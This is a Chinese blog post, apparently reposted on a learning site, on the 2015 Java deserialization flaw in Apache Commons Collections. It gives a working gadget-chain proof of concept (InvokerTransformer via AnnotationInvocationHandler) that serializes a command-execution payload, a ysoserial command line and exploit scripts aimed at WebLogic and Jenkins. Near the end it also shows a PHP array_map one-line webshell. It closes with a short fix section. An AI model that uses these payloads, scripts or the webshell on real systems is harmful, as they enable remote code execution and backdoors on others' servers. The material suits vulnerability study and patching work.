菜单 学习猿地 - LMONKEY

VIP

开通学习猿地VIP

尊享10项VIP特权 持续新增

知识通关挑战

打卡带练!告别无效练习

接私单赚外块

VIP优先接,累计金额超百万

学习猿地私房课免费学

大厂实战课仅对VIP开放

你的一对一导师

每月可免费咨询大牛30次

领取更多软件工程师实用特权

入驻
319
0

Java unserialize serialized Object(AnnotationInvocationHandler、ysoserial) In readObject() LeadTo InvokerTransformer(Evil MethodName/Args)

原创
05/13 14:22
阅读数 88121

Java unserialize serialized Object(AnnotationInvocationHandler、ysoserial) In readObject() LeadTo TransformedMap Change LeadTo InvokerTransformer(Evil MethodName/Args)

catalog

1. Java 序列化
2. Commons Collections
3. Java反序列化漏洞 
4. 漏洞利用实例
5. 修复策略
6. 安全问题延伸讨论

 

1. Java 序列化

1. Java 提供了一种对象序列化的机制,该机制中,一个对象可以被表示为一个字节序列,该字节序列包括该对象的数据、有关对象的类型的信息和存储在对象中数据的类型 
2. 将序列化对象写入文件之后,可以从文件中读取出来,并且对它进行反序列化,也就是说,对象的类型信息、对象的数据,还有对象中的数据类型可以用来在内存中新建对象 
3. 整个过程都是Java虚拟机(JVM)独立的,也就是说,在一个平台上序列化的对象可以在另一个完全不同的平台上反序列化该对象 
4. 类ObjectInputStream 和ObjectOutputStream是高层次的数据流,它们包含序列化和反序列化对象的方法 

0x1: 可序列化对象

定义了如下的Employee类,该类实现了Serializable 接口

package test;

public class Employee implements java.io.Serializable
{ 
    private static final long serialVersionUID = 1L;

    public String name;
    public String address;
    public transient int SSN;
    public int number;
   
    public void mailCheck()
    {
        System.out.println("Mailing a check to " + name + " " + address);
    }
}

需要明白的是,一个类的对象要想序列化成功,必须满足以下几个条件

1. 该类必须实现 java.io.Serializable 对象 
2. 该类的所有属性必须是可序列化的。如果有一个属性不是可序列化的,则该属性必须注明是短暂的(仅存在于内存中)
//如果想知道一个Java标准类是否是可序列化的,请查看该类的文档。检验一个类的实例是否能序列化十分简单, 只需要查看该类有没有实现java.io.Serializable接口 

0x2: 序列化对象代码示例

ObjectOutputStream 类用来序列化一个对象,如下的SerializeDemo例子实例化了一个Employee对象,并将该对象序列化到一个文件中,该程序执行后,就创建了一个名为employee.ser文件,值得注意的是,当序列化一个对象到文件时, 按照Java的标准约定是给文件一个.ser扩展名

package test;

import java.io.*;

public class SerializeDemo 
{ 
    public static void main(String[] args) 
    {
        Employee e = new Employee();
        e.name = "LittleHann";
        e.address = "Hangzhou";
        e.SSN = 23333;
        e.number = 101;
        try
        {
            String savePath = "C:/employee.ser";
            FileOutputStream fileOut = new FileOutputStream(savePath);
            ObjectOutputStream out = new ObjectOutputStream(fileOut);
            out.writeObject(e);
            out.close();
            fileOut.close();
            System.out.printf("Serialized data is saved in " + savePath);
        }
        catch(IOException i)
        {
            i.printStackTrace();
        }
    }

}

0x3: 反序列化对象代码示例

package test;

import java.io.*;

public class DeserializeDemo 
{ 
    public static void main(String[] args) 
    { 
        Employee e = null;
        try
        {
            String savePath = "C:/employee.ser";
            FileInputStream fileIn = new FileInputStream(savePath);
            ObjectInputStream in = new ObjectInputStream(fileIn);
            e = (Employee) in.readObject();
            in.close();
            fileIn.close();
        }
        catch(ClassNotFoundException c)
        {
            System.out.println("Employee class not found");
            c.printStackTrace();
            return;
        }
        catch(IOException i)
        {
            i.printStackTrace();
            return;
        }
        
        System.out.println("Deserialized Employee...");
        System.out.println("Name: " + e.name);
        System.out.println("Address: " + e.address);
        System.out.println("SSN: " + e.SSN);
        System.out.println("Number: " + e.number);
    } 
}

这里要注意以下要点

1. readObject() 方法中的try/catch代码块尝试捕获 ClassNotFoundException异常。对于JVM可以反序列化对象,它必须是能够找到字节码的类。如果JVM在反序列化对象的过程中找不到该类,则抛出一个 ClassNotFoundException异常 
2. readObject()方法的返回值被转化成Employee引用。
3. 当对象被序列化时,属性SSN的值为111222333,但是因为该属性是短暂的,该值没有被发送到输出流。所以反序列化后Employee对象的SSN属性为0

Relevant Link:

http://www.runoob.com/java/java-serialization.html
https://www.ibm.com/developerworks/cn/java/j-lo-serial/

 

2. Commons Collections

The Java Collections Framework was a major addition in JDK 1.2. It added many powerful data structures that accelerate development of most significant Java applications. Since that time it has become the recognised standard for collection handling in Java.
Commons-Collections seek to build upon the JDK classes by providing new interfaces, implementations and utilities. There are many features, including:

1. Bag interface for collections that have a number of copies of each object
2. BidiMap interface for maps that can be looked up from value to key as well and key to value
3. MapIterator interface to provide simple and quick iteration over maps
4. Transforming decorators that alter each object as it is added to the collection
5. Composite collections that make multiple collections look like one
6. Ordered maps and sets that retain the order elements are added in, including an LRU based map
7. Reference map that allows keys and/or values to be garbage collected under close control
8. Many comparator implementations
9. Many iterator implementations
10. Adapter classes from array and enumerations to collections
11. Utilities to test or create typical set-theory properties of collections such as union, intersection, and closure

从本质上说,Apache Commons Collections是一个Java基础容器的封装类,它提供了很多强大有用的接口,同时也包括有数据类型转换函数,这次的漏洞就处在这些转换函数上,由于在转换前没有对输入的参数进行类型检查,导致恶意代码注入

Relevant Link:

http://www.blogjava.net/heis/archive/2010/01/12/309239.html
https://commons.apache.org/proper/commons-collections/
https://commons.apache.org/proper/commons-collections/download_collections.cgi

 

3. Java反序列化漏洞

0x1: 背景

2015年11月6日,FoxGlove Security安全团队的@breenmachine 发布的一篇博客[3]中介绍了如何利用Java反序列化漏洞,来攻击最新版的WebLogic、WebSphere、JBoss、Jenkins、OpenNMS这些大名鼎鼎的Java应用,实现远程代码执行。
然而事实上,博客作者并不是漏洞发现者。博客中提到,早在2015年的1月28号,Gabriel Lawrence (@gebl)和Chris Frohoff (@frohoff)在AppSecCali上给出了一个报告[5],报告中介绍了Java反序列化漏洞可以利用Apache Commons Collections这个常用的Java库来实现任意代码执行,当时并没有引起太大的关注,但是在博主看来,这是2015年最被低估的漏洞。
确实,Apache Commons Collections这样的基础库非常多的Java应用都在用,一旦编程人员误用了反序列化这一机制,使得用户输入可以直接被反序列化,就能导致任意代码执行,这是一个极其严重的问题,博客中提到的WebLogic等存在此问题的应用可能只是冰山一角

0x2: 漏洞成因

序列化就是把对象转换成字节流,便于保存在内存、文件、数据库中;反序列化即逆过程,由字节流还原成对象。Java中的ObjectOutputStream类的writeObject()方法可以实现序列化,类ObjectInputStream类的readObject()方法用于反序列化。下面是将字符串对象先进行序列化,存储到本地文件,然后再通过反序列化进行恢复的样例代码

public static void main(String args[]) throws Exception { 
    String obj = "hello world!";

    // 将序列化对象写入文件object.db中
    FileOutputStream fos = new FileOutputStream("object.db");
    ObjectOutputStream os = new ObjectOutputStream(fos);
    os.writeObject(obj);
    os.close();

    // 从文件object.db中读取数据
    FileInputStream fis = new FileInputStream("object.db");
    ObjectInputStream ois = new ObjectInputStream(fis);

    // 通过反序列化恢复对象obj
    String obj2 = (String)ois.readObject();
    ois.close();
}

问题在于,如果Java应用对用户输入,即不可信数据做了反序列化处理,那么攻击者可以通过构造恶意输入,让反序列化产生非预期的对象,非预期的对象在产生过程中就有可能带来任意代码执行
所以这个问题的根源在于类ObjectInputStream在反序列化时,没有对生成的对象的类型做限制;假若反序列化可以设置Java类型的白名单,那么问题的影响就小了很多。
反序列化问题由来已久,且并非Java语言特有,在其他语言例如PHP和Python中也有相似的问题。@gebl和@frohoff的报告中所指出的并不是反序列化这个问题,而是一些公用库,例如Apache Commons Collections中实现的一些类可以被反序列化用来实现任意代码执行。WebLogic、WebSphere、JBoss、Jenkins、OpenNMS这些应用的反序列化漏洞能够得以利用,就是依靠了Apache Commons Collections。这种库的存在极大地提升了反序列化问题的严重程度
0x3: 利用Apache Commons Collections实现远程代码执行

以Apache Commons Collections 3为例,来解释如何构造对象,能够让程序在反序列化,即调用readObject()时,就能直接实现任意代码执行
Map类是存储键值对的数据结构,Apache Commons Collections中实现了类TransformedMap,用来对Map进行某种变换,只要调用decorate()函数,传入key和value的变换函数Transformer,即可从任意Map对象生成相应的TransformedMap,完成这一操作的decorate()函数如下

public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) 
{
    //decorate是我们人工构造的,目的是从任意Map对象生成相应的TransformedMap
    return new TransformedMap(map, keyTransformer, valueTransformer);
}

Transformer是一个接口,其中定义的transform()函数用来将一个对象转换成另一个对象。如下所示
\commons-collections4-4.0-src\src\main\java\org\apache\commons\collections4\Transformer.java

public interface Transformer<I, O> {

    /**
     * Transforms the input object (leaving it unchanged) into some output object.
     *
     * @param input  the object to be transformed, should be left unchanged
     * @return a transformed object
     * @throws ClassCastException (runtime) if the input is the wrong class
     * @throws IllegalArgumentException (runtime) if the input is invalid
     * @throws FunctorException (runtime) if the transform cannot be completed
     */
    O transform(I input);

}

当Map中的任意项的Key或者Value被修改,相应的Transformer就会被调用。除此以外,多个Transformer还能串起来,形成ChainedTransformer
Apache Commons Collections中已经实现了一些常见的Transformer,其中有一个可以通过调用Java的反射机制来调用任意函数,叫做InvokerTransformer,代码如下
\commons-collections4-4.0-src\src\main\java\org\apache\commons\collections4\functors\InvokerTransformer.java

public class InvokerTransformer<I, O> implements Transformer<I, O>, Serializable 
{
    ..
    public InvokerTransformer(final String methodName, final Class<?>[] paramTypes, final Object[] args) 
    {
        super();
        iMethodName = methodName;
        iParamTypes = paramTypes != null ? paramTypes.clone() : null;
        iArgs = args != null ? args.clone() : null;
    }
    
    ..

    /**
    * Transforms the input to result by invoking a method on the input.
    *
    * @param input  the input object to transform
    * @return the transformed result, null if null input
    */
    @SuppressWarnings("unchecked")
    public O transform(final Object input) 
    {
        if (input == null) 
        {
            return null;
        }
        try 
        {
            final Class<?> cls = input.getClass();
            final Method method = cls.getMethod(iMethodName, iParamTypes);
            return (O) method.invoke(input, iArgs);
        } 
        catch (final NoSuchMethodException ex) 
        {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
        } 
        catch (final IllegalAccessException ex) 
        {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
        } 
        catch (final InvocationTargetException ex) 
        {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
        }
    } 
}

从代码中可以看到,只需要传入方法名、参数类型和参数,即可调用任意函数。因此要想任意代码执行,我们可以首先构造一个Map和一个能够执行代码的ChainedTransformer,以此生成一个TransformedMap,然后想办法去触发Map中的MapEntry产生修改(例如setValue()函数),即可触发我们构造的Transformer

package test;

import java.util.HashMap;
import java.util.Map;
import java.util.Map.Entry;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
  
public class transformersTest 
{ 
    public static void main(String[] args) 
    {
        Transformer[] transformers = new Transformer[] 
        {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] 
                {
                    String.class, Class[].class
                }, 
                new Object[]{"getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] 
                {
                    Object.class, Object[].class 
                }, 
                new Object[] {null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] {String.class }, 
                new Object[] {"calc.exe"})
        }; 
        Transformer transformedChain = new ChainedTransformer(transformers);

        Map innerMap = new HashMap();
        innerMap.put("value", "value");
        Map outerMap = TransformedMap.decorate(innerMap, null, transformedChain);

        Map.Entry onlyElement = (Entry) outerMap.entrySet().iterator().next();
        onlyElement.setValue("foobar"); 
    } 
}

当上面的代码运行到setValue()时,就会触发ChainedTransformer中的一系列变换函数:首先通过ConstantTransformer获得Runtime类,进一步通过反射调用getMethod找到invoke函数,最后再运行命令calc.exe
但是目前的构造还需要依赖于触发Map中某一项去调用setValue(),我们需要想办法通过readObject()直接触发
我们观察到java运行库中有这样一个类AnnotationInvocationHandler,这个类有一个成员变量memberValues是Map类型,如下所示
\openjdk\jdk\src\share\classes\sun\reflect\annotation\AnnotationInvocationHandler.java

class AnnotationInvocationHandler implements InvocationHandler, Serializable 
{
    private final Class<? extends Annotation> type;
    private final Map<String, Object> memberValues;

    AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) 
    {
        this.type = type;
        this.memberValues = memberValues;
    }

    .. 
    //AnnotationInvocationHandler的readObject()函数中对memberValues的每一项调用了setValue()函数
    private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException 
    {
        s.defaultReadObject(); 

        // Check to make sure that types have not evolved incompatibly  
        AnnotationType annotationType = null;
        try 
        {
            annotationType = AnnotationType.getInstance(type);
        } 
        catch(IllegalArgumentException e) 
        {
            // Class is no longer an annotation type; all bets are off
            return;
        }

        Map<String, Class<?>> memberTypes = annotationType.memberTypes();

        for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) 
        {
            String name = memberValue.getKey();
            Class<?> memberType = memberTypes.get(name);
            if (memberType != null) 
            {  // i.e. member still exists
                Object value = memberValue.getValue();
                if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) 
                {
                    memberValue.setValue( new AnnotationTypeMismatchExceptionProxy( value.getClass() + "[" + value + "]").setMember( annotationType.members().get(name)));
                }
            }
        }
    }
}

因此,我们只需要使用前面构造的Map来构造AnnotationInvocationHandler,进行序列化,当触发readObject()反序列化的时候,就能实现命令执行。另外需要注意的是,想要在调用未包含的package中的构造函数,我们必须通过反射的方式,综合生成任意代码执行的payload的代码如下

package test;

import java.io.File;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

public class readObjectRCE 
{ 
    public static void main(String[] args) throws FileNotFoundException, IOException, ClassNotFoundException, NoSuchMethodException, SecurityException, InstantiationException, IllegalAccessException, IllegalArgumentException, InvocationTargetException 
    {
        Transformer[] transformers = new Transformer[] 
        {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] 
                {
                    String.class, Class[].class
                }, 
                new Object[]{"getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] 
                {
                    Object.class, Object[].class 
                }, 
                new Object[] {null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] {String.class }, 
                new Object[] {"calc.exe"})
        }; 
        Transformer transformedChain = new ChainedTransformer(transformers);

        Map innerMap = new HashMap();
        innerMap.put("value", "value");
        Map outerMap = TransformedMap.decorate(innerMap, null, transformedChain);

        Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
        ctor.setAccessible(true);
        Object instance = ctor.newInstance(Target.class, outerMap);

        File f = new File("payload.bin");
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
        out.writeObject(instance);
        out.flush();
        out.close();
        
        //read object
        try
        {
            String savePath = "payload.bin";
            FileInputStream fileIn = new FileInputStream(savePath);
            ObjectInputStream in = new ObjectInputStream(fileIn);
            //不管反序列化成任何的对象,只要调用到readObject()就已经触发漏洞了
            Object obj = (Object) in.readObject();
            in.close();
            fileIn.close();
        }
        catch(ClassNotFoundException c)
        {
            System.out.println("Employee class not found");
            c.printStackTrace();
            return;
        }
        catch(IOException i)
        {
            i.printStackTrace();
            return;
        }
    } 
}

以上解释了如何通过Apache Commons Collections 3这个库中的代码,来构造序列化对象,使得程序在反序列化时可以立即实现任意代码执行,值得注意的是,POC之所以是通用的原因在于,只要目标系统中使用了Apache Commons Collections 3存在漏洞的代码库,并且调用了readObject(),不管具体的使用场景是怎么样的(即不管反序列化后强制转换为任何的对象),在readObject()被调用的时候攻击就已经成立了
我们可以直接使用工具ysoserial来生成payload,当中包含了4种通用的payload:Apache Commons Collections 3和4,Groovy,Spring,只要目标应用的Class Path中包含这些库,ysoserial生成的payload即可让readObject()实现任意命令执行。
ysoserial当中针对Apache Commons Collections 3的payload也是基于TransformedMap和InvokerTransformer来构造的,而在触发时,并没有采用上文介绍的AnnotationInvocationHandler,而是使用了java.lang.reflect.Proxy中的相关代码来实现触发

Relevant Link:

http://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/ 
https://github.com/andreyvit/yoursway-ide/blob/master/org.apache.commons.collections/src/java/org/apache/commons/collections/map/TransformedMap.java
https://github.com/foxglovesec/JavaUnserializeExploits
https://frohoff.github.io/appseccali-marshalling-pickles/

 

4. 漏洞利用实例

0x1: 利用过程

1. 首先拿到一个Java应用,需要找到一个接受外部输入的序列化对象的接收点,即反序列化漏洞的触发点
    1) 我们可以通过审计源码中对反序列化函数的调用(例如readObject())来寻找
    2) 也可以直接通过对应用交互流量进行抓包,查看流量中是否包含java序列化数据来判断,java序列化数据的特征为以标记(ac ed 00 05)开头

2. 确定了反序列化输入点后,再考察应用的Class Path中是否包含Apache Commons Collections库(ysoserial所支持的其他库亦可),如果是,就可以使用ysoserial来生成反序列化的payload,指定库名和想要执行的命令即可 

3. java -jar ysoserial-0.0.2-SNAPSHOT-all.jar CommonsCollections1 'id >> /tmp/redrain' > payload.out
通过先前找到的传入对象方式进行对象注入,数据中载入payload,触发受影响应用中ObjectInputStream的反序列化操作,随后通过反射调用Runtime.getRunTime.exec即可完成利用 

0x2: WebLogic

对安装包文件grep受影响的类InvokerTransformer

grep -R InvokerTransformer ./
Binary file ./oracle_common/modules/com.bea.core.apache.commons.collections.jar matches

接着通过寻找接收外部输入的点,来让我们发送序列化对象。
WebLogic外部只开了一个7001端口,这个端口接受HTTP,T3,SNMP协议,判断协议类型后再把数据路由到内部正确的位置,通过在server上抓包,发现走T3协议时携带了java序列化对象,所以用把这个包文从序列化开始的标记(ac ed 00 05)后加入payload,重放这个数据,完成利用
以下是breenmachine的完整利用脚本

#!/usr/bin/python
import socket
import sys

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

server_address = (sys.argv[1], int(sys.argv[2]))
print 'connecting to %s port %s' % server_address
sock.connect(server_address)

# Send headers
headers='t3 12.2.1\nAS:255\nHL:19\nMS:10000000\nPU:t3://us-l-breens:7001\n\n'
print 'sending "%s"' % headers
sock.sendall(headers)

data = sock.recv(1024)
print >>sys.stderr, 'received "%s"' % data

payloadObj = open(sys.argv[3],'rb').read()

payload=''
print 'sending payload...'
'''outf = open('payload.tmp','w')
outf.write(payload)
outf.close()'''
sock.send(payload)

0x3: Jenkins

Jenkins是一个非常流行的CI工具,在很多企业的内网中都部署了这个系统,这个系统常常和企业的代码相关联,这次也受到了Java反序列化漏洞的影响,非常危险
同样,通过grep受影响的类InvokerTransformer

grep -R "InvokerTransformer"  ./
Binary file ./webapps/ROOT/WEB-INF/lib/commons-collections-3.2.1.jar matches

在开放的端口上抓包,定位到Jeenkins的CLI包文中的序列化开始标记(rO0)。 在发送CLI的第一个包文后
以下是@breenmachine的完整利用脚本

#!/usr/bin/python

#usage: ./jenkins.py host port /path/to/payload
import socket
import sys
import requests
import base64

host = sys.argv[1]
port = sys.argv[2]

#Query Jenkins over HTTP to find what port the CLI listener is on
r = requests.get('http://'+host+':'+port)
cli_port = int(r.headers['X-Jenkins-CLI-Port'])

#Open a socket to the CLI port
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_address = (host, cli_port)
print 'connecting to %s port %s' % server_address
sock.connect(server_address)

# Send headers
headers='\x00\x14\x50\x72\x6f\x74\x6f\x63\x6f\x6c\x3a\x43\x4c\x49\x2d\x63\x6f\x6e\x6e\x65\x63\x74'
print 'sending "%s"' % headers
sock.send(headers)

data = sock.recv(1024)
print >>sys.stderr, 'received "%s"' % data

data = sock.recv(1024)
print >>sys.stderr, 'received "%s"' % data

payloadObj = open(sys.argv[3],'rb').read()
payload_b64 = base64.b64encode(payloadObj)
payload=''

print 'sending payload...'
'''outf = open('payload.tmp','w')
outf.write(payload)
outf.close()'''
sock.send(payload)

0x4: Jboss

boss受影响的情况就比之前Jenkins逊色不少,正如之前所说,要成功利用必须要找到程序接受外部输入的点,而此处的利用需要/invoker/jmx的支持,大部分情况下的实际场景,jboss都删除了jmx,所以让此处的利用大打折扣

0x5: WebSphere

WebSphere的利用相比较之前几个case就非常粗暴简单了,但是很少会暴露在公网
找到受影响的lib的位置

find . -iname "*commons*collection*"
./WebSphere/AppServer/optionalLibraries/Apache/Struts/1.1/commons-collections.jar
./WebSphere/AppServer/optionalLibraries/Apache/Struts/1.2.4/commons-collections.jar
./WebSphere/AppServer/plugins/com.ibm.ws.prereq.commons-collections.jar
./WebSphere/AppServer/systemApps/LongRunningScheduler.ear/JobManagementWeb.war/WEB-INF/lib/commons-collections.jar
./WebSphere/AppServer/systemApps/isclite.ear/commons-collections.jar
./WebSphere/AppServer/deploytool/itp/plugins/com.ibm.websphere.v85_2.0.0.v20120621_2102/wasJars/com.ibm.ws.prereq.commons-collections.jar

查看端口开放情况后发现WebSphere默认起了10个端口监听所有接口,通过burp suite看到在请求websphere默认端口8880上有一个POST的请求,body中带有base64处理后的java序列化对象,同样的,标记位置仍然是"rO0",我们将生成的payload做base64处理后覆盖之前的序列化对象即可利用

Relevant Link:

https://www.sebug.net/vuldb/ssvid-89723
http://blog.chaitin.com/2015-11-11_java_unserialize_rce/

 

5. 修复策略

commons-collections-3.2.2默认关闭了InvokerTransformer功能

Exception in thread "main" java.lang.UnsupportedOperationException: Serialization support for org.apache.commons.collections.functors.InvokerTransformer is disabled for security reasons. To enable it set system property 'org.apache.commons.collections.enableUnsafeSerialization' to 'true', but you must ensure that your application does not de-serialize objects from untrusted sources.

 

6. 安全问题延伸讨论

这个安全问题的根源在于

1. ObjectInputStream处理反序列化时接受外部输入,同时未对外部输入进行类型检查
2. 攻击者在外部序列化参数中传入特殊构造的sun.reflect.annotation.AnnotationInvocationHandler、或者java.lang.reflect.Proxy
3. 在这2个对象的readObject()方法中,都包含setValue()的调用
4. 而在Apache Commons Collections中,setValue()的调用会导致InvokerTransformer()的被调用,InvokerTransformer()会根据外部输入类名函数名反射执行的作用,所以造成整个程序RCE

所以该问题并不是像其他一些语言unserialize函数本身存在漏洞,而是在应用本身实现的方式上存在缺陷,导致应用受到RCE的影响,或者更准确地说是Apache Commons Collections把执行任意回调(任意参数)的能力开放给了外部参数

0x1: PHP unserialize风险

从程序语言角度来说,PHP和Java一样,只能对当前内存代码空间中存在的对象进行序列化/反序列化,并能不能根据外部传入参数进行任意的反序列化
唯一可以存在一点可探讨的相关性的是,unserialize反序列化后默认调用的构造函数

http://www.cnblogs.com/LittleHann/p/3522990.html
搜索:0x22: PHP的序列化、反序列化特性布置后门 

0x2: PHP array_map: 回调函数风险

array_map,将回调函数作用到给定数组的单元上,PHP中还有很多类似功能的callback函数,如果系统采取了错误的方式使用array_map,将外部参数直接带入到array_map中,就同样可能造成任意代码执行RCE

<?php 
    $new_array = array_map("ass\x65rt", (array)$_REQUEST['op']);
    //http://localhost/test/test.php?op=eval($_GET[1]): 菜刀密码: 1
?>

Relevant Link:

http://www.cnblogs.com/LittleHann/p/4242535.html

 

Copyright (c) 2015 LittleHann All rights reserved

 

发表评论

0/200
319 点赞
0 评论
收藏
为你推荐 换一批